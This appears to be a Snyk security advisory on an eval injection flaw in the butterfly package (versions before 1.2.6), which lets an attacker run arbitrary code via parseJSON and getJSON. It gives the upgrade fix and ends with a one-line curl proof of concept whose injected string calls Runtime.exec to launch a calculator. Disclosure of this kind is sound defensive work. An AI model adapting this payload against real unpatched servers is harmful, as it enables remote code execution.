Eval Injection Affecting org.openrefine.dependencies:butterfly package, versions [,1.2.6)
Threat Intelligence
Exploit Maturity
Proof of concept
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Test your applications- Snyk ID SNYK-JAVA-ORGOPENREFINEDEPENDENCIES-8304162
- published 25 Oct 2024
- disclosed 24 Oct 2024
- credit Unknown
How to fix?
Upgrade org.openrefine.dependencies:butterfly to version 1.2.6 or higher.
Overview
Affected versions of this package are vulnerable to Eval Injection through the parseJSON and getJSON functions. An attacker can execute arbitrary code on the server by supplying crafted input that manipulates the evaluation process.
PoC
curl -H 'Content-Type: application/json;charset=utf-8' --data $'"\\\u200d\\", Packages.java.lang.Runtime.getRuntime().exec(\'gnome-calculator\')) // "' http://localhost:3333/getjsontest